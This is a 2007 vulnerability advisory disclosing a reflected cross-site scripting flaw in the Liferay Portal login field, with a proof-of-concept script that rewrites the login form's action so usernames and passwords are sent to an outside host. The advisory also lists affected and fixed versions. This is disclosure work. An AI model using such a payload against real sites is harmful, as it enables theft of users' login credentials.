Date Found: 6th March 2007
Vendor informed: 26th June 2007
Liferay Portal login page is vulnerable to Cross-Site Scripting within the "login" field processed by the "/c/portal/login" server-side script.
An attacker may be able to cause the execution of malicious script code in the browser of a user who visits a specially-crafted Liferay Portal URL, or visits a page that submits a request to such URL. Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: usernames and passwords) to unauthorised third parties.
Proof of concept (PoC):
The provided XSS PoC URLs overwrite Liferay Portal login form's 'action' attribute. Thus, when the victim user clicks on the "Sign In" button, the credentials (username/password) are sent to a third-party site (procheckup.com in this case).
What's (partially) returned by the server:
<input class="form-text" name="login" style="width: 150px;" type="text" value=""><script>document.fm1.action="http://procheckup.com"</script><a b="c">
Note: the victim user does not need to be authenticated for this vulnerability to be exploitable.
Successfully tested on:
Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August 14, 2006)
(other versions of Liferay Portal might also be affected)
Author: Adrian Pastor [adrian.pastor [at] procheckup.com] from ProCheckUp Ltd (www.procheckup.com)
ProCheckUp thanks Liferay for fixing this vulnerability so promptly.
The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1.
This issue has been fixed on version 4.1.3 and onwards.